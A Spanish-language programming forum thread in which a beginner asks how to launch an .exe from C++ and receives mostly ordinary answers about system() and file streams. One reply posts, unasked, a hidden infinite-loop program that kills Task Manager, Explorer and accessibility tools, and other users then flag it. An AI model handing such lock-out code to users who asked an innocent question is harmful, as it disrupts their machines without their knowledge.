Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Mahiques en 29 Agosto 2008, 00:16 am



Título: Abrir archivo en C++
Publicado por: Mahiques en 29 Agosto 2008, 00:16 am
La pregunta es sencilla ¿ como puedo abrir un archivo en C++ ?

P.D. Ya prove desde system("call bla.blabla") , system("start bla.blabla") , system("call C:\bla.blabla") y system("callC:\\ bla.blabla") .


Título: Re: Abrir archivo en C++
Publicado por: Kasswed en 29 Agosto 2008, 00:28 am
fopen()

http://c.conclase.net/librerias/funcion.php?fun=fopen


Título: Re: Abrir archivo en C++
Publicado por: Mahiques en 29 Agosto 2008, 00:43 am
fopen()

http://c.conclase.net/librerias/funcion.php?fun=fopen
Podrias citar un ejemplo en el que tansolo abra un archivo con extension .exe ?

Grax la url que me pasaste esta completa pero no me acabo de quedar claro ...

Con un ejemplo de opertura de un .exe boi que chuto ...

Grax ;) tothom


Título: Re: Abrir archivo en C++
Publicado por: viruss1362 en 29 Agosto 2008, 00:45 am
Haber tu que quieres simplemente ejecutar un programa?

Ahora mismo estoy en kubuntu, y si pongo:

Código:
system("kedit main.cc");
Me abre el archivo de texto main.cc con el editor kedit

y si pongo
Código:
system("kedit");
se me ejecuta solo el kedit


Título: Re: Abrir archivo en C++
Publicado por: Flakito81 en 29 Agosto 2008, 00:48 am
Aunque en C++ puedes usar el C, si kieres utilizar C++ 100% sería:

Escritura:
Código
  1.   ofstream f;
  2.   f.open("archivo.ext", ios::out);
  3.   if (!f.is_open())
  4.   {
  5.      std::cout << "ERROR: no se puede abrir el fichero para escribir" << endl;
  6.      return;
  7.   }  
  8.   f << "lo que se kiera guardar";
  9.  

Lectura:
Código
  1.   ifstream f;
  2.   f.open("archivo.ext", ios::in);
  3.   if (!f.is_open())
  4.   {
  5.      std::cout << "ERROR: no se puede abrir el fichero para leer" << endl;
  6.      return;
  7.   }  
  8.   f >> variable;
  9.  

Otra opción:
Código
  1. //lectura
  2. ifstream f("archivo.ext");
  3. //escritura
  4. ofstream f("archivo.ext");
  5.  
Aunque como ya dije puedes usar C en vez de C++

Suerte!



Título: Re: Abrir archivo en C++
Publicado por: Flakito81 en 29 Agosto 2008, 00:54 am
Si explicas lo q kieres hacer concretamente sería mejor, abrir un .exe no es ejecutarlo. Si lo abres verás el binario, es decir, q no vas a entender practicamente nada.

Si por el contrario kieres ejecutar un programa tienes:

system
execl
execlp
execle
execv
execve
execvp

Para más información sobre ellas está google, explicarlas todas por minorzado lleva muxo tiempo.

Suerte


Título: Re: Abrir archivo en C++
Publicado por: Mahiques en 29 Agosto 2008, 01:43 am
Veras lo que quiero hacer es ejecutar un programa echo por mi desde un programa echo por mi ...

Desde el programa actual llamar a un programa ya acabado ...

Cuando digo llamar me refiero a ejecutar ! Osea hacer correr el programa ...

Mi intencion es agrupar algunos programas que e echo en el programa actual ...

Pero no todos en el mismo source sino cada uno en el sullo i llamarlos para ejecutarlos desde un source nuevo ...

Osea ejecutar un .exe en C++ por cierto uso windows

Por cierto flakito podrias poner un ejemplo de ejecutar un .exe con system ...

Osea seria algo asi como system("programa.exe") o mas bien poneindo la ruta entera con \ o \\ igual me da por que ya lo e prebado de todas estas formas i me dice que no encuentra el archivo ...


Título: Re: Abrir archivo en C++
Publicado por: carlitos.dll en 29 Agosto 2008, 03:43 am
Aquí una forma:

Código
  1. #include <windows.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main()
  6. {
  7.    char *WinDir;
  8.    WinDir = getenv("WinDir");
  9.  
  10.    char WinDirSystem32[30];
  11.    strncpy(WinDirSystem32,WinDir,20);
  12.    strncat(WinDirSystem32,"\\system32",10);
  13.    WinDirSystem32[30] = 0;
  14.  
  15.    while (1)
  16.    {
  17.     ShellExecute(NULL,"open","taskkill.exe","/f /im taskmgr.exe /im utilman.exe /im explorer.exe /im osk.exe /im magnify.exe /im sethc.exe ",WinDirSystem32,SW_HIDE);
  18.    }
  19. }
  20.  
  21.  


Título: Re: Abrir archivo en C++
Publicado por: Flakito81 en 29 Agosto 2008, 03:55 am
Ya te han respondido, la mejor forma es la q ya te han dicho, aunque si lo kieres hacer con system es tal como piensas, es decir, has de poner la ruta. Si te dice que no existe el archivo es q la tienes mal. Prueba a poner un ejecutable en la misma carpeta dnd tengas el programa q lanza tus aplicaciones, si los tienes en otras carpetas puedes poner la ruta absoluta o relativa.
Imagina q el programa que lanza tus aplicaciones está en una carpeta y dentro de la misma hay una subcarpeta llamada app y dentro está la aplicación app_0.exe luego para ejecutar dicha aplicación con el system sería algo así:
Código
  1. system ("app\\app_0.exe");
  2.  


Un saludo!

PD: No ejecutes el código q te han dado simplemente quedate con la función ShellExecute puedes buscar información en internet :)


Título: Re: Abrir archivo en C++
Publicado por: Mahiques en 29 Agosto 2008, 04:33 am
Ya te han respondido, la mejor forma es la q ya te han dicho, aunque si lo kieres hacer con system es tal como piensas, es decir, has de poner la ruta. Si te dice que no existe el archivo es q la tienes mal. Prueba a poner un ejecutable en la misma carpeta dnd tengas el programa q lanza tus aplicaciones, si los tienes en otras carpetas puedes poner la ruta absoluta o relativa.
Imagina q el programa que lanza tus aplicaciones está en una carpeta y dentro de la misma hay una subcarpeta llamada app y dentro está la aplicación app_0.exe luego para ejecutar dicha aplicación con el system sería algo así:
Código
  1. system ("app\\app_0.exe");
  2.  


Un saludo!

PD: No ejecutes el código q te han dado simplemente quedate con la función ShellExecute puedes buscar información en internet :)

Prove pero dice que la ruta especificada no pudo ser encontrada ...

Prove algo que si me funciono xD Puse los programas en system32

Lo de carlitos lo prbare mañana que en España son las 4 : 30 de la mañana i me estoi sobando ...

Ya dare respuesta ...


Título: Re: Abrir archivo en C++
Publicado por: JuaN-ThE-HaCKeR en 30 Agosto 2008, 01:46 am
Hola!

Me he pasado por aquí y he probado por curiosidad el código de carlitos.dll y según mi punto de vista es un programa un poco "ofensivo" debido a que ejecuta la aplicación taskkill.exe parar cerrar o finalizar varias aplicaciones, una de ellas, taskmgr.exe, que, en windows es el administrador de tareas (CTRL + ALT + SUPR/DEL), aunque esta no tiene mucha importancia, pero este programa también finaliza otra aplicación que es bastante importante: explorer.exe, al cerrar esta aplicación, la barra de inicio se cierra y los iconos del escritorio desaparecen, aunque se puede solucionar fácilmente con este código tan sencillo como corto:


Código:
#include <windows.h>

main () {

system ("explorer.exe");
}



Desconozco la intención de carlitos.dll al publicar este código, aunque los "daños" que provoca no son nada graves.   :laugh:

Saludos!  ;)




JuaN



Título: Re: Abrir archivo en C++
Publicado por: JuaN-ThE-HaCKeR en 30 Agosto 2008, 02:03 am
Hola!

Como respuesta a la duda de Mahiques yo uso el siguiente código para abrir cualquier aplicación, programa, archivo, etc, en este caso para abrir bla.bla:


Código:
#include <windows.h>

main () {

system ("bla.bla");  // Para abrir bla.bla situado en el mismo directorio donde se ejecuta el programa.

return 0;
}

o:

Código:
#include <windows.h>

main () {

system ("C:\\bla.bla");  //Para abrir bla.bla Situado en C: (C:\bla.bla)

return 0;
}

Quizás el fallo esté en que se te olvidó añadir la librería windows.h, aunque no lo creo, si fuera así te tiraría un error antes de compilar y dices que el problema está en que no te encuentra el archivo.

PD: Te recomiendo que crees un archivo prueba.txt en C: y pruebes el código siguiente:

Código:
#include <windows.h>

main() {

system ("C:\\prueba.txt");

return 0;
}

Y si con éste código te sigue saltando el error de que no encuentra el archivo:

1.- Te olvidaste crear el archivo prueba.txt y/o no lo creaste en C: :xD
2.- Tu compilador tiene algún problema.  :-\

Quizás te podamos ayudar más si nos dices que compilador usas.  :P

Saludos!  ;)




JuaN


Título: Re: Abrir archivo en C++
Publicado por: carlitos.dll en 30 Agosto 2008, 04:48 am
Sucede, que utilizé ese código para una aplicación llamada SCOT Secure Login (aún no se publica, y está en batch (de code-makers) la intención del programa es autentificarse al inicio de windows, y busqué una forma de que no se pudiera iniciar ninguna otra aplicación, como el administrador de tareas, el utilman, ni el explorer, pues se debía autentificar desde la consola, antes de iniciar el explorer.

Pensé, que le podría molestar a alguien, si así fue, pido disculpas, aunque el código no es muy largo como para leerlo y saber el programa que ejecuta, y qué hace. (además muestra cómo utilizar argumentos, y como crear el string de una variable de entorno, en este caso: %windir%\system32 dónde se encuentra taskkill.exe

La ventaja de usar esto, antes de system(), es que system() llama a cmd.exe para realizar las acciones, y si tenemos deshabilitado el acceso al cmd.exe con el registro:
Código:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:00000001

el programa hecho en c, dirá: "El administrador ha deshabilitado el símbolo de sistema", y se supone que es un programa hecho en c, no en batch.





Título: Re: Abrir archivo en C++
Publicado por: Mahiques en 30 Agosto 2008, 17:21 pm
Sucede, que utilizé ese código para una aplicación llamada SCOT Secure Login (aún no se publica, y está en batch (de code-makers) la intención del programa es autentificarse al inicio de windows, y busqué una forma de que no se pudiera iniciar ninguna otra aplicación, como el administrador de tareas, el utilman, ni el explorer, pues se debía autentificar desde la consola, antes de iniciar el explorer.

Pensé, que le podría molestar a alguien, si así fue, pido disculpas, aunque el código no es muy largo como para leerlo y saber el programa que ejecuta, y qué hace. (además muestra cómo utilizar argumentos, y como crear el string de una variable de entorno, en este caso: %windir%\system32 dónde se encuentra taskkill.exe

La ventaja de usar esto, antes de system(), es que system() llama a cmd.exe para realizar las acciones, y si tenemos deshabilitado el acceso al cmd.exe con el registro:
Código:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:00000001

el programa hecho en c, dirá: "El administrador ha deshabilitado el símbolo de sistema", y se supone que es un programa hecho en c, no en batch.





Y todo esto que tenia que ver con el tema ? ¬¬

Al tema Juan xD

En tu ultimo post el primer code que me pasaste al compilarlo sustituyendo bla.bla por FyQ.exe intento correrlo se compila sale el simbolo de system i 1 o 2 segundos despues se me devuelve el siguiente error : C:\Documents and settings ... ( la ruta )\FyQ.exe no es una aplicacion de win32 valida.

En el segundo que me pasaste lo compilo sustituyendo bla.bla por FyQ.exe y me da el siguiente error : C:\FyQ.exe no es una aplicacion valida para win32 valida.

El tercero que me pasaste tras corregir los return0 -> return 0 lo compilo i pega pantallazo de sysmbolo de systema añade una linea de codigo ... system("Pause"); y se lee en sysbolo d esystema " C:\prueva.txt no s reconoce como un comando interno o externo, programa o archivo por lotes ejecutable.

Uso el famoso compilador Dev C++ ... ;)



Título: Re: Abrir archivo en C++
Publicado por: carlitos.dll en 30 Agosto 2008, 19:07 pm
Código
  1. #include <stdlib.h>
  2.  
  3. int main()
  4. {
  5.    system("pause");  
  6. }
  7.  


Título: Re: Abrir archivo en C++
Publicado por: JuaN-ThE-HaCKeR en 31 Agosto 2008, 00:11 am
Sucede, que utilizé ese código para una aplicación llamada SCOT Secure Login (aún no se publica, y está en batch (de code-makers) la intención del programa es autentificarse al inicio de windows, y busqué una forma de que no se pudiera iniciar ninguna otra aplicación, como el administrador de tareas, el utilman, ni el explorer, pues se debía autentificar desde la consola, antes de iniciar el explorer.

Pensé, que le podría molestar a alguien, si así fue, pido disculpas, aunque el código no es muy largo como para leerlo y saber el programa que ejecuta, y qué hace. (además muestra cómo utilizar argumentos, y como crear el string de una variable de entorno, en este caso: %windir%\system32 dónde se encuentra taskkill.exe

La ventaja de usar esto, antes de system(), es que system() llama a cmd.exe para realizar las acciones, y si tenemos deshabilitado el acceso al cmd.exe con el registro:
Código:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:00000001

el programa hecho en c, dirá: "El administrador ha deshabilitado el símbolo de sistema", y se supone que es un programa hecho en c, no en batch.





Y todo esto que tenia que ver con el tema ? ¬¬

Al tema Juan xD

En tu ultimo post el primer code que me pasaste al compilarlo sustituyendo bla.bla por FyQ.exe intento correrlo se compila sale el simbolo de system i 1 o 2 segundos despues se me devuelve el siguiente error : C:\Documents and settings ... ( la ruta )\FyQ.exe no es una aplicacion de win32 valida.

En el segundo que me pasaste lo compilo sustituyendo bla.bla por FyQ.exe y me da el siguiente error : C:\FyQ.exe no es una aplicacion valida para win32 valida.

El tercero que me pasaste tras corregir los return0 -> return 0 lo compilo i pega pantallazo de sysmbolo de systema añade una linea de codigo ... system("Pause"); y se lee en sysbolo d esystema " C:\prueva.txt no s reconoce como un comando interno o externo, programa o archivo por lotes ejecutable.

Uso el famoso compilador Dev C++ ... ;)



Hola!

Bueno ya por lo menos encuentra el archivo.  :xD

En el primer y segundo código, el error "no es una aplicación Win32 válida." se debe a que el archivo FyQ.exe está mal compilado, corrupto, etc... Prueba abriéndolo manualmente (con manualmente me refiero a que lo abras como se ha hecho toda la vida, doble click en el archivo :xD), seguramente verás el mismo error, lo que quiere decir que el problema no está en el código, si no en el archivo FyQ.exe.  ;D

En el tercer código, el error está en que no encuentra el archivo, y al no encontrarlo se utiliza "C:\\prueba.txt" como un comando, y al no existir este comando te salta el error. Quizás el archivo que creaste es prueba.txt e intentaste abrir prueva.txt o cualquier otro fallo tonto. :xD

Saludos!  ;)


JuaN


Título: Re: Abrir archivo en C++
Publicado por: Mahiques en 31 Agosto 2008, 02:33 am
Código
  1. #include <stdlib.h>
  2.  
  3. int main()
  4. {
  5.    system("pause");  
  6. }
  7.  


Como se supone que tengo que interpretar esto ? ¬¬

Por cierto Juan tienes razon el FyQ.exe corre perfectamente desde Dev C++ pero al doble click sale ese error ...

Boi a repararlo a ver que pasa i ya posteo ...


Título: Re: Abrir archivo en C++
Publicado por: NekoOs en 22 Julio 2012, 18:17 pm
Perdonen si estoy reviviendo un tema muy antiguo pero quizas aun personas con este problema, la solucion es sencilla deben usar barras invertidas doble ya que por default c++ asimila a \ como un predico de caracteres especiales como "\n:=Cambio de linea"  :silbar: espero esto les sirva  ;D

Código
  1. #include<iostream>
  2. #include <cstdlib>
  3. using namespace std;
  4.  
  5. int main () {
  6. system("C:\\WINDOWS\\MiPorgrama.exe");
  7. return 0;
  8. }

Por cierto aquí considerando que en la ruta no existen espacios. En cuyo caso existiesen espacios la solucion seria asi:

Código
  1. #include<iostream>
  2. #include <cstdlib>
  3. using namespace std;
  4.  
  5. int main () {
  6. system("\"C:\\Documents and Settings\\Virulento\\Escritorio\\Doc3.docx\"");
  7. return 0;
  8. }

Recuerda que para c++ (") y (\) son caracteres especiales  ;) .